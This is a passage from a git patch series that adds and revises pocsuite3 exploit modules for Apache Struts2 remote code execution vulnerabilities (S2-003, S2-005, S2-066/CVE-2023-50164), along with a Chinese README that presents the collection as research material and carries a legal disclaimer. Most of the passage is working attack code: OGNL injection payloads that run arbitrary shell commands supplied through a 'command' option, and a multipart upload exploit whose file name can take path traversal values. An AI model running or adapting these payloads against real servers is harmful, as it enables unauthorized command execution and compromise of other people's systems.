+ result['VerifyInfo'] = {}
+ result['VerifyInfo']['URL'] = self.url
+ return self.parse_output(result)
+
+ def _attack(self):
+ self._exec(mode="attack", uri="/commonClass")
+
+ def _shell(self):
+ self._exec(mode="shell", uri="/commonClass")
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail()
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py b/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
new file mode 100644
index 00000000..876ca2f7
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
@@ -0,0 +1,74 @@
+from collections import OrderedDict
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2023-12-4'
+ createDate = '2023-12-10'
+ updateDate = '2023-12-10'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = ''''''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["param"] = OptString('upload', description="上传文件用到的name参数")
+ o["filename"] = OptString('success.txt', description="上传的文件名称,可以以../目录穿越命名")
+ o["filecontext"] = OptString('Hello!', description="上传的文件内容")
+ return o
+
+ def _verify(self):
+ result = {}
+ upload = self.get_option("param")
+ filename = self.get_option("filename")
+ url = self.url.rstrip('/') + f"?{upload}FileName={filename}"
+ if upload is not None and len(upload) > 0:
+ upload = upload[0].upper()+upload[1:]
+ headers = {
+ "Connection": "Close",
+ "Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
+ }
+
+ file_context=self.get_option("filecontext").encode()
+ # html = requests.post(self.url, files=files, headers=headers).text
+ data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
+Content-Disposition: form-data; name="{UPLOAD}"; filename="test.jpg"
+Content-Type: text/plain
+
+{CONTEXT}
+--3b0bfa1f36cb6157a128f0549a4a7446--
+'''.replace(b'{UPLOAD}', upload.encode()).replace(b'{CONTEXT}',file_context).replace(b'\n', b'\r\n')
+ html = requests.post(url, data=data, headers=headers)
+ if html.status_code == 200:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "info":"Poc execution has been completed. Please verify manually to determine if the upload was successful!"
+ }
+
+ return self.parse_output(result)
+
+ def _attack(self):
+ self._verify()
+
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
From 280460fbdebe8ae41ff8109a3c6e92200d175111 Mon Sep 17 00:00:00 2001
From: sunflower
Date: Wed, 13 Dec 2023 21:24:19 +0800
Subject: [PATCH 14/27] Add README.md
---
pocsuite3/pocs/.DS_Store | Bin 6148 -> 0 bytes
pocsuite3/pocs/Apache_Struts2/README.md | 32 ++++++++++++++++++++++++
2 files changed, 32 insertions(+)
delete mode 100644 pocsuite3/pocs/.DS_Store
create mode 100644 pocsuite3/pocs/Apache_Struts2/README.md
diff --git a/pocsuite3/pocs/.DS_Store b/pocsuite3/pocs/.DS_Store
deleted file mode 100644
index 03fa04d8453836923468ebee331423bb47829935..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 6148
zcmeHKQA@)x5WdXmI)<_b1$_(nI&c=9h%a^OAF!eiDzkM%i?tbR>mJ6S@A`-QBmN%m
zl1v;^Uj&hH2bb@1xl72Gl4}4!wDayZKpg-aRKijfn=gdMNoS;FJ%mEfaSuJ{fDaiA
zW}?~g9~q#tTY*F9Ljbq%`TTM`#T49dnD)b1g&6l5_Twncn$0&+S|~3rRh)`bbFTe+
zHT1I}%hPr+xTM~hQgJx3gYZ1+4LkMKBb8)9l=KEVA?o%pkO{%a@3}MpIFKwJ>u`p=TLFkon9=o!zFBG9yN59nJ
zAUuQIG6T%OGy@B!Tc`Se^8NdNI*EJC05dRG42bfvf853`+1fg@IjXf1^#+xM;tGQw
kDQM_YjImUT*HN{gUy_07Su6~q2ZetGG!5J^1AofEJAT_xasU7T
diff --git a/pocsuite3/pocs/Apache_Struts2/README.md b/pocsuite3/pocs/Apache_Struts2/README.md
new file mode 100644
index 00000000..3827b8ea
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/README.md
@@ -0,0 +1,32 @@
+## 项目名称
+
+Struts2历史漏洞Exploit整理
+
+## 项目简介
+
+本项目旨在整理与Struts2历史漏洞相关的Exploit(exp),所有的Exploit都是由pocsuite3编写。
+
+## 项目目标
+
+- 为安全研究人员提供一个方便快捷的漏洞检测、利用工具。
+- 提供Struts2 对应漏洞docker环境,方便安全研究人员进行漏洞复现。
+- 帮助安全人员学习与研究Struts2漏洞的原理。
+- 提升对Web应用安全性的理解。
+
+## 项目内容
+
+本项目整理Struts2已公开的漏洞,并提供相应的Exploit。Exploit将以pocsuite3的格式编写,方便安全人员研究。
+
+## 漏洞环境
+
+docker环境正在梳理中...待补充。
+
+## 项目贡献
+
+欢迎所有安全研究人员和爱好者参与本项目,贡献新的漏洞Exploit。
+
+## 项目声明
+
+本仓库所包含的 Struts2 历史漏洞信息仅供学习和研究目的。这些漏洞早已存在并在互联网上公开,旨在帮助深入研究和提升对 Web 应用安全性的理解。任何形式的非法攻击行为均严格禁止。
+
+我们不对任何人因使用本仓库的信息而导致的非法活动承担责任。用户应遵守适用的法律法规,并在进行安全研究时恪守道德和法律规定。请谨慎使用这些漏洞信息,并确保在任何测试和研究活动中遵循法律和道德准则。
\ No newline at end of file
From b9970243e34f3208cce21a11781e7b2f5cb5747e Mon Sep 17 00:00:00 2001
From: sunflower
Date: Wed, 13 Dec 2023 19:05:45 +0800
Subject: [PATCH 15/27] Add Struts2 exp
---
pocsuite3/pocs/.DS_Store | Bin 0 -> 6148 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 pocsuite3/pocs/.DS_Store
diff --git a/pocsuite3/pocs/.DS_Store b/pocsuite3/pocs/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..03fa04d8453836923468ebee331423bb47829935
GIT binary patch
literal 6148
zcmeHKQA@)x5WdXmI)<_b1$_(nI&c=9h%a^OAF!eiDzkM%i?tbR>mJ6S@A`-QBmN%m
zl1v;^Uj&hH2bb@1xl72Gl4}4!wDayZKpg-aRKijfn=gdMNoS;FJ%mEfaSuJ{fDaiA
zW}?~g9~q#tTY*F9Ljbq%`TTM`#T49dnD)b1g&6l5_Twncn$0&+S|~3rRh)`bbFTe+
zHT1I}%hPr+xTM~hQgJx3gYZ1+4LkMKBb8)9l=KEVA?o%pkO{%a@3}MpIFKwJ>u`p=TLFkon9=o!zFBG9yN59nJ
zAUuQIG6T%OGy@B!Tc`Se^8NdNI*EJC05dRG42bfvf853`+1fg@IjXf1^#+xM;tGQw
kDQM_YjImUT*HN{gUy_07Su6~q2ZetGG!5J^1AofEJAT_xasU7T
literal 0
HcmV?d00001
From 467f1767348855f4aabccdbb18ed4e9b87720168 Mon Sep 17 00:00:00 2001
From: sunflower
Date: Wed, 13 Dec 2023 21:24:19 +0800
Subject: [PATCH 16/27] Add README.md
---
pocsuite3/pocs/.DS_Store | Bin 6148 -> 0 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
delete mode 100644 pocsuite3/pocs/.DS_Store
diff --git a/pocsuite3/pocs/.DS_Store b/pocsuite3/pocs/.DS_Store
deleted file mode 100644
index 03fa04d8453836923468ebee331423bb47829935..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001
literal 6148
zcmeHKQA@)x5WdXmI)<_b1$_(nI&c=9h%a^OAF!eiDzkM%i?tbR>mJ6S@A`-QBmN%m
zl1v;^Uj&hH2bb@1xl72Gl4}4!wDayZKpg-aRKijfn=gdMNoS;FJ%mEfaSuJ{fDaiA
zW}?~g9~q#tTY*F9Ljbq%`TTM`#T49dnD)b1g&6l5_Twncn$0&+S|~3rRh)`bbFTe+
zHT1I}%hPr+xTM~hQgJx3gYZ1+4LkMKBb8)9l=KEVA?o%pkO{%a@3}MpIFKwJ>u`p=TLFkon9=o!zFBG9yN59nJ
zAUuQIG6T%OGy@B!Tc`Se^8NdNI*EJC05dRG42bfvf853`+1fg@IjXf1^#+xM;tGQw
kDQM_YjImUT*HN{gUy_07Su6~q2ZetGG!5J^1AofEJAT_xasU7T
From 590e682f27e278f48ab01c397553657b4d7cf790 Mon Sep 17 00:00:00 2001
From: sunflower
Date: Fri, 22 Dec 2023 12:47:02 +0800
Subject: [PATCH 17/27] Update exp and supplement environment.
---
pocsuite3/pocs/.DS_Store | Bin 0 -> 8196 bytes
pocsuite3/pocs/Apache_Struts2/.DS_Store | Bin 0 -> 6148 bytes
.../20090323_WEB_Apache_Struts2_001_RCE.py | 55 ++++-
...EB_Apache_Struts2_003_RCE_CVE-2008-6504.py | 70 ++++--
...EB_Apache_Struts2_005_RCE_CVE-2010-1870.py | 54 +++--
...EB_Apache_Struts2_009_RCE_CVE-2011-3923.py | 70 +++---
.../20120108_WEB_Apache_Struts2_007_RCE.py | 60 +++--
...EB_Apache_Struts2_008_RCE_CVE-2012-0394.py | 43 ++--
...EB_Apache_Struts2_012_RCE_CVE-2013-1965.py | 65 ++---
...EB_Apache_Struts2_013_RCE_CVE-2013-1966.py | 39 +--
...EB_Apache_Struts2_015_RCE_CVE-2013-2134.py | 45 ++--
...EB_Apache_Struts2_016_RCE_CVE-2013-2251.py | 98 ++++----
...EB_Apache_Struts2_019_RCE_CVE-2013-4316.py | 52 ++--
...EB_Apache_Struts2_020_RCE_CVE-2014-0094.py | 34 ++-
...EB_Apache_Struts2_025_RCE_CVE-2015-5169.py | 37 ++-
..._Apache_Struts2_025_RCE_CVE-2015-5169_2.py | 69 ------
...EB_Apache_Struts2_029_RCE_CVE-2016-0785.py | 46 +++-
...EB_Apache_Struts2_032_RCE_CVE-2016-3081.py | 43 ++--
...EB_Apache_Struts2_033_RCE_CVE-2016-3087.py | 48 ++--
...EB_Apache_Struts2_037_RCE_CVE-2016-4438.py | 42 ++--
...EB_Apache_Struts2_045_RCE_CVE-2017-5638.py | 62 ++---
...EB_Apache_Struts2_046_RCE_CVE-2017-7672.py | 57 +++--
...EB_Apache_Struts2_048_RCE_CVE-2017-9791.py | 66 +++--
...EB_Apache_Struts2_052_RCE_CVE-2017-9805.py | 26 +-
...B_Apache_Struts2_053_RCE_CVE-2017-12611.py | 51 +++-
...B_Apache_Struts2_057_RCE_CVE-2018-11776.py | 21 +-
...B_Apache_Struts2_061_RCE_CVE-2020-17530.py | 146 ++---------
...pache_Struts2_Log4j2_RCE_CVE-2021-44228.py | 2 +-
...B_Apache_Struts2_066_RCE_CVE-2023-50164.py | 33 +--
pocsuite3/pocs/Apache_Struts2/README.md | 227 ++++++++++++++++--
30 files changed, 977 insertions(+), 684 deletions(-)
create mode 100644 pocsuite3/pocs/.DS_Store
create mode 100644 pocsuite3/pocs/Apache_Struts2/.DS_Store
delete mode 100755 pocsuite3/pocs/Apache_Struts2/20150701_WEB_Apache_Struts2_025_RCE_CVE-2015-5169_2.py
diff --git a/pocsuite3/pocs/.DS_Store b/pocsuite3/pocs/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..2e2cf1734d0149953698f63eb15226fa2285565b
GIT binary patch
literal 8196
zcmeHMU2GIp6u#fIz^onU6p9pfp^F9i$qH?$P!M$6Qc4R5vJ2go!m_(F(6Q5*x-+{)
zu%`HfF_M`0?-K^&i&04YiSa=+{v3WBp8LX_jCv%U`A)
z3O`hP~7t){)A`nF2e;EP3KSb%`H15+;LA|YmIY37xI6+JKGRqW8)6xj8&kg*sET)3V|LgX%9?hT^xn-5nTF%m*Pnq@
zRz7L+6nTnVA@5G~+rtSr;})FOOnw*VlD2JTOZS=VPD39~tJQ6`_|2!R}uLuqyPp+gO;ns1LqS2V32iA4{sZmf?*n^rcBjD+Nwb<6MA
zo*pmk2OWLc`@
z)k=pv?IdyeY;L`8AW|P%}7&C=c{cU;?p=g^}Iv0E?zHO4xN}bt9HTS
z+ZtD`ZE5eid;951wQBl|YDMX#uv)IM&(QNbh7HZ_@5wkh-O>zee|OPvjI60At<0ca
zg$F~S(>1f_RE8trc_qV8w!xX0p1eY9V3Pyjlr&
z7lqgACVz0Bvj+#sMW+fef4G%a-osbkoN?T(L%MZo@eLi}aIe#!$?IE(DIwKQ
z{fF8_R&v~zM8>LREOG-$6k}lmV4G15k5(f8-^-X$!_SV#jBFkh#tSWh|(hyk@B3!Cvf{jI1g=7_iS);5C
z5kl2+!QQ2`g!rbRGLMhMBJHxQ{_DyAB|FQ`vGeRVb`g_N0Ts2B@by@UI5tqy^OWC$
zo#;jndeH|R`_K=A(%(e^!#IG0c$m`v2p+@ZcnVMB89aw$c!?nJGF~A7oWvV=6K~@b
z-X|!0NMQI3UlS01#82Z=d&}6=#)Ye;b}^B+OxxN|dL?*_o#Og%Wn$SHUjMgG{Qdv>
zJY2A95P={9*CYZcU!PdtN=r?&Iq_OMO4nYxc;kAbf_f&@aTPx9mE%M&{b5M=QC}AK
g>8PM2p?1wb1pN2E!GrTZIRC|e;C>B#BcA_%0k2GwK>z>%
literal 0
HcmV?d00001
diff --git a/pocsuite3/pocs/Apache_Struts2/.DS_Store b/pocsuite3/pocs/Apache_Struts2/.DS_Store
new file mode 100644
index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6
GIT binary patch
literal 6148
zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3
zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ
zLs35+`xjp>T0\r\n(.*)")
+ matches = pattern.findall(html)
+ if html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "result": matches
+ }
return self.parse_output(result)
def parse_output(self, result):
diff --git a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
index 320162e3..b5bd4bea 100755
--- a/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
+++ b/pocsuite3/pocs/Apache_Struts2/20090323_WEB_Apache_Struts2_003_RCE_CVE-2008-6504.py
@@ -1,45 +1,69 @@
from urllib.parse import quote
-
+from collections import OrderedDict
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
+from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-003']
+ name = 'Apache Struts2 s2-003'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-003:影响版本Struts 2.0.0-2.0.11.2'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.1.8.1'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''Struts 2.0.0 - Struts 2.1.8.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+
+ def _check(self):
+ result = {}
+ exec_payload = "(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))"
+ paylaod = exec_payload.format(cmd=quote("id"))
+ r = requests.get(self.url + "?" + paylaod)
+ if "groups=" in r.text:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "result": r.text.replace("\x00","").encode()
+ }
+ return result
+ return False
+
+
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+ def _attack(self):
+ p = self._check()
result = {}
- hash_str = random_str(10)
- exec_payload = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29"
- payload = [
- exec_payload.format(cmd=quote("echo " + hash_str)),
- exec_payload.format(cmd=quote("cmd.exe /c echo " + hash_str))
- ]
- for poc in payload:
- r = requests.get(self.url + "?" + poc)
- if hash_str in r.text:
+ if p:
+ cmd = self.get_option("command")
+ exec_payload = "(%27\\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\\u003dfalse%27)(bla)(bla)&(%27\\u0023_memberAccess.excludeProperties\\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\\u0023mycmd\\u003d\%27{cmd}\%27%27)(bla)(bla)&(%27\\u0023myret\\u003d@java.lang.Runtime@getRuntime().exec(\\u0023mycmd)%27)(bla)(bla)&(A)((%27\\u0023mydat\\u003dnew\\40java.io.DataInputStream(\\u0023myret.getInputStream())%27)(bla))&(B)((%27\\u0023myres\\u003dnew\\40byte[51020]%27)(bla))&(C)((%27\\u0023mydat.readFully(\\u0023myres)%27)(bla))&(D)((%27\\u0023mystr\\u003dnew\\40java.lang.String(\\u0023myres)%27)(bla))&(%27\\u0023myout\\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\\u0023myout.getWriter().println(\\u0023mystr)%27)(bla))"
+ payload = exec_payload.format(cmd=quote(cmd))
+ r = requests.get(self.url + "?" + payload)
+ if r.text:
result["VerifyInfo"] = {
"URL": self.url,
- "PAYLOAD": poc
+ "PAYLOAD": r.text.replace("\x00","").encode()
}
- return self.parse_output(result)
-
- def _attack(self):
- pass
+ return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
diff --git a/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py b/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
index d653a393..e665247a 100755
--- a/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
+++ b/pocsuite3/pocs/Apache_Struts2/20100510_WEB_Apache_Struts2_005_RCE_CVE-2010-1870.py
@@ -2,6 +2,7 @@
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
@@ -9,17 +10,17 @@
class DemoPOC(POCBase):
vulID = '' # ssvid
version = '1.0'
- author = ['']
- vulDate = '2023-11-15'
+ author = ['knownsec.com']
+ vulDate = '2033-11-15'
createDate = '2023-11-15'
updateDate = '2023-11-15'
- references = ['']
- name = ''
+ references = ['https://cwiki.apache.org/confluence/display/WW/S2-005']
+ name = 'Apache Struts2 s2-005'
appPowerLink = ''
- appName = 'struts2'
- appVersion = ''
- vulType = ''
- desc = '''S2-005:影响版本Struts 2.0.0-2.1.8.1'''
+ appName = 'Apache Struts2'
+ appVersion = 'Struts 2.0.0 - Struts 2.1.8.1'
+ vulType = VUL_TYPE.CODE_EXECUTION
+ desc = '''Struts 2.0.0 - Struts 2.1.8.1'''
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
@@ -41,6 +42,12 @@ def exp(self, payload, excpayload):
return html2
def _verify(self):
+ p = self._check()
+ if p:
+ return self.parse_output(p)
+
+
+ def _check(self):
result = {}
hash_str = random_str(10)
exec_payload1 = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29"
@@ -70,24 +77,27 @@ def _verify(self):
"URL": self.url,
"PAYLOAD": exec_payload2
}
- break
- return self.parse_output(result)
+ return result
+ return False
def _attack(self):
- command = self.get_option("command")
result = {}
- exec_payload1 = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29"
- exec_payload2 = "%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27{cmd}%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte[51020]%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29"
+ p = self._check()
+ if p:
+ command = self.get_option("command")
+
+ exec_payload1 = "%28%27%5Cu0023context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27{cmd}%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte[51020]%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29"
+ exec_payload2 = "%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context[%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27]%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27{cmd}%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte[51020]%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29"
- html1 = self.exp(command, exec_payload1)
- html2 = self.exp(command, exec_payload2)
- result["VerifyInfo"] = {
- "URL": self.url,
- "PAYLOAD_1": exec_payload1,
- "OUTPUT_1":html1,
- "PAYLOAD_2":exec_payload2,
- "OUTPIT_2":html2
- }
+ html1 = self.exp(command, exec_payload1)
+ html2 = self.exp(command, exec_payload2)
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ "PAYLOAD_1": exec_payload1,
+ "OUTPUT_1":html1,
+ "PAYLOAD_2":exec_payload2,
+ "OUTPIT_2":html2
+ }
return self.parse_output(result)
def parse_output(self, result):
